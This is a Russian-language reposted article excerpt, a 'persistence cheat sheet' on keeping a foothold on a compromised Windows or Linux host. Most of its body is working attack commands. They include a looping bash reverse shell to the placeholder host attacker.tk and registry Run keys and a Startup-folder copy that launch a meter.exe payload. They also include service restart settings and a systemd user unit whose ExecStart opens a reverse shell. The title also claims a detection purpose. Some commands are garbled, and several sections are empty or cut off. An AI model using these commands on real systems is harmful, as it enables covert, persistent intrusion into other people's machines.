Категория > Новости > Шпаргалка по persistence. Как надежно прописаться на хосте или выявить факт компрометации - «Новости»

Шпаргалка по persistence. Как надежно прописаться на хосте или выявить факт компрометации - «Новости»


7-03-2021, 00:00. Автор: Рената
Autoruns, резуль­таты ты можешь наб­людать на скрин­шотах.
 

Шелл


Ор­ганизо­вать пер­систен­тность мож­но пря­мо из коман­дной стро­ки. Что­бы шелл откры­вал­ся всег­да, исполь­зуем коман­ду с бес­конеч­ным цик­лом, ухо­дящую в фон.


Windows

Вот как это работа­ет в Windows:



Linux
bash$> nohup bash -c "while :; do bash -i & /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &


  • Плю­сы: управля­емый интервал запус­ка, подой­дет любой поль­зователь.


  • Ми­нус: не пережи­вет перезаг­рузку.


 

Автозагрузка


Го­воря о пер­систен­тнос­ти, нель­зя прой­ти мимо клас­сичес­кой и всем извес­тной авто­заг­рузки. Ее пре­иму­щес­тво в том, что она будет работать с пра­вами любого, даже неад­минис­тра­тив­ного поль­зовате­ля.


Windows
cmd$>reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun"/v persistence /t REG_SZ /d "C:usersusernamemeter.exe"cmd#>copy meter.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartupcmd#>reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun"/v persistence /t REG_SZ /d "C:Windowssystem32meter.exe"
Linux


  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.


  • Ми­нус: неуп­равля­емый интервал запус­ка.


 

Сервисы


Ис­поль­зовать служ­бу для зак­репле­ния более выгод­но, чем авто­заг­рузку, так как Service Manager будет сам переза­пус­кать служ­бу, если пот­ребу­ется.


Для Windows соз­дание служ­бы пот­ребу­ет пра­ва адми­нис­тра­тора.


cmd#>sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence

В Linux соз­дать служ­бу мож­но и с учет­ки прос­того поль­зовате­ля. Вот вари­анты для рута и для прос­того поль­зовате­ля.


bash$> vim ~/.config/systemd/user/persistence.service

Со­дер­жимое фай­ла:


[Unit]
Description=persistence
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=default.target

И запус­каем соз­данную служ­бу:


bash#> systemctl start persistence.service
bash$>systemctl --user enable persistence.service
bash$>systemctl --user start persistence.service


  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка, под­ходит любой поль­зователь.


  • Ми­нус: необ­ходимы пра­ва адми­нис­тра­тора.


 

Задачи


Соз­дание зап­ланиро­ван­ной задачи — весь­ма удоб­ный спо­соб под­держа­ния дос­тупа. Заод­но мож­но задать вре­мя и интервал запус­ка. Но делать это раз­решено, как пра­вило, толь­ко при­виле­гиро­ван­ным поль­зовате­лям.



Перейти обратно к новости